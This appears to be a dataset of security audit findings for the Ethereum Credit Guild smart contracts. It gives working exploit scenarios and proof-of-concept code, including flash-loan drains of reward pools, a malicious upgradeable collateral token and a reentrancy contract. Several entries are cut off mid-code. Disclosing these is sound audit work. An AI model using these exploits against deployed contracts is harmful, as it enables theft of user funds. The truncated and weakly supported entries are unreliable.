xanoutas/solidity-security-findings huggingface dataset:
Users can abuse incorrect userGaugeProfitIndex accounting to drain up the gauge rewards.
Audit: 2023-12-ethereumcreditguild-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L416-L418


# Vulnerability details

## Impact
The `ProfitManager.claimGaugeRewards` doesn't update `userGaugeProfitIndex` when `deltaIndex == 0`.
Because of this users who stake/unstake at least once and then stake again are rewarded for the period they weren't staked. 

Moreover if they can flashloan a big amount of Guild token, they can drain ProfitManager Credit balance since the rewards are distributed at a pro-rata share.

## Proof of Concept
Let's take the following example:
1.  user Alice stake Guild to a gauge (`incrementGauge`). `claimGaugeRewards` is 
[called](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/GuildToken.sol#L258). 
This call [returns 0](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L416)
since `_userGaugeWeight == 0`; userGaugeWeight is incremented later by 
[`super._incrementGaugeWeight`](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/GuildToken.sol#L260C9-L260C36) 
[here](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20Gauges.sol#L240C15-L240C15).

`userGaugeProfitIndex` is not updated;

2. protocol accumulate interest and `gaugeProfitIndex` is [updated](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L396-L399) (these are the rewards alocated for guildSplit).
3.  Alice unstake  her entire weight from the gauge: `decrementGauge` -> [calls](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/GuildToken.sol#L220) `claimGaugeRewards`:

    - this time `_userGaugeWeight != 0`; 
    -  `deltaIndex != 0` => Alice gets her share of the accumulated interest.
    - `userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;` -> OK
    - `super._decrementGaugeWeight` is executed next and `getUserGaugeWeight` is cleared
4. time passes, lendingTerm (gauge) accumulate more interests, `gaugeProfitIndex` is updated accordingly;
5. Alice stakes again by calling `incrementGauge`. The things from step (1) happens again:`claimGaugeRewards` returns 0 because `_userGaugeWeight == 0` => `userGaugeProfitIndex` is not set to `_gaugeProfitIndex` -> NOK
6. Alice can unstake immediately and because `userGaugeProfitIndex` wasn't updated when when she staked 2nd time, she is rewarded for the period she had 0 weight allocated on the gauge -> NOK 

Protocol can get drained following next steps:
- Alice allocates a minimum weight (1 wei) to all available gauges;
- Alice does/waits steps 1-4 above;
- Alice stakes a big amount (eg. from a flash loan) in step (5).
LendingTerm can be drained if collateral is cUSDCv3
Audit: 2023-12-ethereumcreditguild-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L421-L425


# Vulnerability details

## Impact
If collateral is cUSDCv3, and `amountIn` is `type(uint256).max`, then only the available balance of cUSDCv2 will be transferred as collateral but `type(uint256).max` will be accounted.
This could allow a malicious borrower to drain all the collateral deposited in the term.

## Proof of Concept
A malicious borrower could drain LendingTerm.
Bob borrow `minBorrow()` with `type(uint256).max` collateral but got only 1 wei cUSDCv3 in its balance.
Bob missed the first repayment and bids on its own loan. This can be done only if  `params.maxDebtPerCollateralToken` <= 1. If not, an overflow will occur when calculating `maxBorrow` in `_borrow()` function:

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L357-L358

If Bod calls `bid()` during or after the midPoint, he will get in return the whole collateral (type(uint256).max) accounted. By doing so he will get the total balance of lendingTerm.

This behavior is documented in the comments of `transferInternal()` function of cUSDCv3 contract:

```
    /**
     * @dev Note: Specifying an `amount` of uint256.max will transfer all of `src`'s accrued base balance
     */
    function transferInternal(address operator, address src, address dst, address asset, uint amount) internal {
        (...)
        if (asset == baseToken) {
            if (amount == type(uint256).max) {
                amount = balanceOf(src);
            }
            return transferBase(src, dst, amount);
        (...)
    }
```

## Tools Used
Manual review

## Recommended Mitigation Steps
Update `collateralAmount` after `safeTransferFrom()` based on the difference between `balanceAfter` and `balanceBefore`:
```
uint256 balanceBefore =  IERC20(params.collateralToken).balanceOf(address(this);
IERC20(params.collateralToken).safeTransferFrom(borrower, address(this),collateralAmount);
uint256 balanceAfter =  IERC20(params.collateralToken).balanceOf(address(this);
uint256 collateralAdded = balanceAfter - balanceBefore;
// save loan in state
(...)
```



## Assessed type

ERC20
After a first slashing event, all subsequent SGM `stake` are slashed because of using a non-initialized `userStake` variable
Audit: 2023-12-ethereumcreditguild-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L223-L231


# Vulnerability details


## Impact
After a first slashing event all subsequent SGM staking are considered slashed. Stakers loose principal staked and any potential Guild token rewards.

## Proof of Concept

Inside `SurplusGuildMinter.getRewards() ` , `lastGaugeLoss ` timestamp is [compared](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L229) with the default, uninitialized `userStake.lastGaugeLoss`. 

```solidity
  function getRewards(
        address user,
        address term
    )
        public
        returns (
            uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
            UserStake memory userStake, // stake state after execution of getRewards()
            bool slashed // true if the user has been slashed
        )
    {
        bool updateState;
        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
        if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
            slashed = true;
        }
        ...
```

Variable `slashed` is not updated afterwards and users guild reward is [deleted](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L253-L255) and their staked balance [cleared](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L274-L283) as well. 

Coded PoC:
Add folowing test in SurplusGuildMinter.t.sol file
```solidity
    function testSubsequentStakersAreSlashed_AfterBadDebtLossEvent() public {

        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        credit.mint(alice, 100e18);
        credit.mint(bob, 100e18);

        vm.startPrank(alice);
        credit.approve(address(sgm), 100e18);
        sgm.stake(term, 100e18);
        
        assertEq(credit.balanceOf(alice), 0, "alice should have no credit");
        assertEq(profitManager.surplusBuffer(), 0, "should have no surplus");
        assertEq(profitManager.termSurplusBuffer(term), 100e18, "should have term surplus");
        assertEq(guild.balanceOf(address(sgm)), 200e18, "sgm guild balance");// because of mintRation = 2:1
        assertEq(guild.getGaugeWeight(term), 250e18, "term gauge weight");// 200 + 50 from setUp
        assertEq(sgm.getUserStake(alice, term).credit, 100e18,"alice stake amount");
        vm.stopPrank();

        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0.25e18, // surplusBufferSplit
            0.25e18, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        // add bad debt
        profitManager.notifyPnL(term, -30e18);
        assertEq(profitManager.s
Attacker Can Take a Loan and Retrieve Their Full Collateral on Auction Without Repaying the Debt
Audit: 2023-12-ethereumcreditguild-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L813


# Vulnerability details

## Impact
Malicious actors can leverage the upgradeable ERC20 collateral to manipulate the auction process, enabling them to obtain the entire collateral without meeting their debt obligations. Such exploitation not only jeopardizes the fairness of the lending system but also undermines the security of user funds, eroding trust in the protocol.

## Proof of Concept
Since onboarding lending terms with upgradeable ERC20 collaterals aligns with the protocol's behavior, a malicious user can onboard a lending term with an upgradeable ERC20 collateral, take a loan, and retrieve their full collateral in an auction without repaying the debt.

- Alice (Malicious user) onboards a lending term with an upgradeable ERC20 collateral.
- Alice takes a loan with excess collateral to create the appearance of overcollateralization.
- Alice doesn't intend to repay the loan until it goes to auction.
- Alice upgrades the proxy to the malicious implementation, which consistently replaces `to` with her own address during the `transfer()` operation in the event `msg.sender == address(term)`. Therefore, it doesn't matter who the bidder is; `LendingTerm` will transfer tokens to Alice.
- Since this loan is overcollateralized, a bidder finds it profitable and decides to place a bid on it.
- Bidder calls the `bid()` and pays the debt.
- `LendingTerm` calls `safeTransfer` [in this line](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L813) to transfer the collateral to the bidder, but the malicious implementation replaces `to` with Alice's address instead of the bidder's address.
- Alice receives her full collateral without repaying the loan.
- The bidder has paid Alice's debt but receives nothing.

### To test the scenario:
Install openzeppelin/contracts-upgradeable ver 4.9.3:
```
npm install @openzeppelin/contracts-upgradeable@4.9.3
```
Make a folder/dir named `ninja-tests` in this path: `test/uint/` and create below files in it:

**CollateralProxy.sol**:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract CollateralProxy is ERC1967Proxy {
    address _owner;

    constructor(address _logic, bytes memory _data) ERC1967Proxy(_logic, _data){
        _owner = msg.sender;
    }

    function upgradeTo(address _logic) public {
        require(msg.sender == _owner, "Owner Only");
        _upgradeTo(_logic);
    }
}
```

**CollateralToken.sol:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access
An uninitialised variable in `SurplusGuildMinter.getRewards()` causes first-loss capital stakers to `lose` all their `credit tokens`. 
Audit: 2023-12-ethereumcreditguild-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L216-L290
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L228-L231
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L274-L284


# Vulnerability details

In `SurplusGuildMinter.sol` `getRewards()` is used to get rewards from a staking position, the variable `userStake` is first declared to reserve memory to hold a `UserStake` struct when the function is called, but the variable has not been initialised yet.
The variable is only initialised further down in the function 
```solidity
userStake = _stakes[user][term];
```

The issue here is that the variable `userStake` is used to determine if the user has been slashed or not before it has been `initialised` leading to its components being in their default values
```solidity
        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
        if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
            slashed = true;
        }
```
As `userStake.lastGaugeLoss` still has its default value of 0, if the `term` has ever suffered a loss in the past even before the user staked, the check will always return true (that is slashed will be set to true).


## Impact
As a result of this error, Users `guildReward` and their staked first loss capital `(credit token)` will be unfairly slashed and lost forever whenever `getRewards()` is called.
```solidity
            if (slashed) {
                guildReward = 0;
            }
```
```solidity
        if (slashed) {
            emit Unstake(block.timestamp, term, uint256(userStake.credit));
            userStake = UserStake({
                stakeTime: uint48(0),
                lastGaugeLoss: uint48(0),
                profitIndex: uint160(0),
                credit: uint128(0),
                guild: uint128(0)
            });
            updateState = true;
        }
```


## Tools Used
Manual Review

## Recommended Mitigation Steps
The `UserStake memory userStake` variable should simply be `initialised` first with the user values before the check for if the user has been slashed is done.
```solidity
    function getRewards(
        address user,
        address term
    )
        public
        returns (
            uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
            UserStake memory userStake, // stake state after execution of getRewards()
            bool slashed // true if the user has been slashed
        )
    {
        bool updateState;
        userStake = _stakes[user][term]; // The initialisation should be moved there before the check for if slashed 
        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
        if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
            slashed = true;
[H-03] Cross function reentrancy in the ProfitManager contract
Audit: 2023-12-ethereumcreditguild-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L251-L256
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L292-L405
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L70
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L267-L275


# Vulnerability details

## Impact
There is reentrancy in ProfitManager contract stemming from the notifyPnL function on lines 292 to 405.

External calls are made to the function GuildToken(guild).notifyGaugeLoss(gauge) on line 305.

There are state variables written after the call named surplusBuffer = _surplusBuffer - loss on line 317.

The mapping named surplusBuffer on line 70 can be used in cross function reentrancies in the following functions.

 1. ProfitManager.donateToSurplusBuffer function on lines 251 to 256.
 2. ProfitManager.notifyPnL function on lines 292 to 405
 3. ProfitManager.surplusBuffer mapping on line 70.
 4. ProfitManager.withdrawFromSurplusBuffer function on lines 267 to 275.

## Proof of Concept
The exploit contract called ProfitManagerX I built in remix IDE is depicted below.

```sol
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.13;

import {CoreRef} from "../../src/core/CoreRef.sol";
import {CoreRoles} from "../../src/core/CoreRoles.sol";
import {SimplePSM} from "../../src/loan/SimplePSM.sol";
import {GuildToken} from "../../src/tokens/GuildToken.sol";
import {CreditToken} from "../../src/tokens/CreditToken.sol";
import {ProfitManager} from "../../src/governance/ProfitManager.sol";

contract ProfitManagerX {

    ProfitManager public x1;

    constructor(ProfitManager _x1) {

        x1 = ProfitManager(_x1);

    }

    function testReen3(address _x1) external payable {

        x1.donateToSurplusBuffer(msg.value); // (src/governance/ProfitManager.sol#251-256)
        x1.notifyPnL(address(_x1),int256(1)); // (src/governance/ProfitManager.sol#292-405)
        x1.surplusBuffer; // (src/governance/ProfitManager.sol#70)
        x1.withdrawFromSurplusBuffer(address(_x1),msg.value); // (src/governance/ProfitManager.sol#267-275)

    }

}
```
The log results of running the exploit function called testReen3 and a msg.value of 1 ether and the _x1 address of the victim contract address is the withdrawal of 1 ether as depicted below.
The AccessControl.(fallback) is triggered as a result of calling the cross functions.
```log
transact to ProfitManagerX.testReen3 pending ... 
[vm]from: 0x5B3...eddC4to: AccessControl.(fallback) 0x617...5E7f2value: 1000000000000000000 weidata: 0x707...eddc4logs: 0hash: 0x2ee...20238
status	0x1 Transaction mined and execution succeed
transaction hash	0x2ee1fb90ce330c7a2ad65979066befcbadce3cd
Anyone can steal all the balance of credit tokens from the `profitManager`
Audit: 2023-12-ethereumcreditguild-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L416-L418
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L424-L426
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20Gauges.sol#L219-L226


# Vulnerability details

## Impact
Anyone can steal all the balance of credit tokens from the `profitManager`. They can steal `all the stake` and `all the unclaimed rewards atomically with 0 risk` if the guild tokens become `transferrable`. This causes a total loss of funds for all stakers.
## Proof of Concept
There is an option for the guild tokens to become transferrable if the governance decides so. Since it is an option I think it is most likely to happen in the future.
```solidity
function enableTransfer() external onlyCoreRole(CoreRoles.GOVERNOR) {
    transferable = true;
    emit TransfersEnabled(block.number, block.timestamp);
}
```
Since guild tokens are now transferrable it is possible to get a large amount of tokens for a single tx. (eg. flashloan, flash swap etc.).

### Let's look at the following scenario
- There are 100 credit tokens staked at the `SurplusGuildMinter`. The funds are donated to the `termSurplusBuffer` and transferred to the associated `profitManager`.

#### SurplusGuildMinter.sol
```solidity
function stake(address term, uint256 amount) external whenNotPaused {
    ...
    // pull CREDIT from user & transfer it to surplus buffer
    CreditToken(credit).transferFrom(msg.sender, address(this), amount);
    CreditToken(credit).approve(address(profitManager), amount);
    ProfitManager(profitManager).donateToTermSurplusBuffer(term, amount);
    ...
}
```

#### ProfitManager.sol
```solidity
function donateToTermSurplusBuffer(address term, uint256 amount) external {
    CreditToken(credit).transferFrom(msg.sender, address(this), amount);
    uint256 newSurplusBuffer = termSurplusBuffer[term] + amount;
    termSurplusBuffer[term] = newSurplusBuffer;
    emit TermSurplusBufferUpdate(block.timestamp, term, newSurplusBuffer);
}
```
- If someone repays the loan, interest will be sent to the `profitManager`. This would increase the balance of `profitManager` even further.
- An attacker could now see that `profitManager` holds `X amount` of credit tokens and decide to steal it all without bearing any risk.
- Alice is the attacker and she starts by flashloaning guild tokens.
- She will then increase her `weight` in a gauge using `guild.incrementGauge(gauge, guildAmount)` instead of staking through the `SGM`. Why?
- If she staked through `SGM` the weight will increment for `SGM` and not for alice as the `SGM` is the caller of the `incrementGauge` function.
- By calling the function directly on the `gauge` she can increase the weight in the given gauge and keep the `userGaugeProfitIndex`
Any user can avoid slashing losses by frontrunning 
Audit: 2023-12-ethereumcreditguild-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L158-L212


# Vulnerability details

## Impact
Any user can avoid slashing losses with a frontrun call that will create a loss on the system (eg. invoke `notifyPnL` with a negative amount). This should not be correct as he can then stake with no risk at all and only get rewards. Users who stake get rewards in exchange for carrying a risk of slashing in case of losses.
## Proof of Concept
There is no mechanism to prevent frontrunning the call that creates a loss. An attacker could simply unstake his whole stake before the loss is notified to the system. This way he gets the full benefit of earning rewards with no risk of slashing.

Add this test to `SurplusGuildMinter.t.sol` file and add import `import "@forge-std/console.sol";`
Run with `forge test --match-path ./test/unit/loan/SurplusGuildMinter.t.sol -vvv`

```solidity
function testAvoidSlashing() public {
    address bob = address(0xB0B);

    vm.prank(governor);
    profitManager.setProfitSharingConfig(
        0.5e18, // surplusBufferSplit - remains on profitManager
        0, // creditSplit
        0.5e18, // guildSplit - remains on profitManager
        0, // otherSplit
        address(0) // otherRecipient
    );

    // Bob stakes 100 CREDIT
    credit.mint(address(bob), 100e18);
    vm.startPrank(bob);
    credit.approve(address(sgm), 100e18);
    sgm.stake(term, 100e18);
    vm.stopPrank();

    // This would happen on repaying a loan with interest... just shorthand to notify the profitManager for a profit
    // so we don't complicate the example with opening and closing loans ...
    credit.mint(address(profitManager), 35e18);
    profitManager.notifyPnL(term, int256(35e18));

    // Bob frontruns the notfiyPnl call with an unstake to avoid slashing
    vm.prank(bob);
    sgm.unstake(term, 100e18);

    // This would happen on repaying a loan with interest... just shorthand to notify the profitManager for a loss
    // so we don't to complicate the example with opening and closing loans ...
    credit.mint(address(profitManager), 35e18);
    profitManager.notifyPnL(term, -int256(35e18));

    // He keeps his stake and the profits made from the first notifyPnL call
    uint256 credit_balance_bob = credit.balanceOf(bob);        
    console.log("Bob credit balance:", credit_balance_bob);
}
```

```solidity
Logs:
  Bob credit balance: 114000000000000000000
```
## Tools Used
Manual review
## Recommended Mitigation Steps
Implement a mechanism where a user has to `requestUnstake()` and after `unstakeDelay` they can call `unstake()`. The `unstakeDelay` can be really small. Even `1 block` would be enough as they cannot frontrun the transaction anymore. Would be a good idea to put more in case of a low gas tx.


## Assessed type

Timing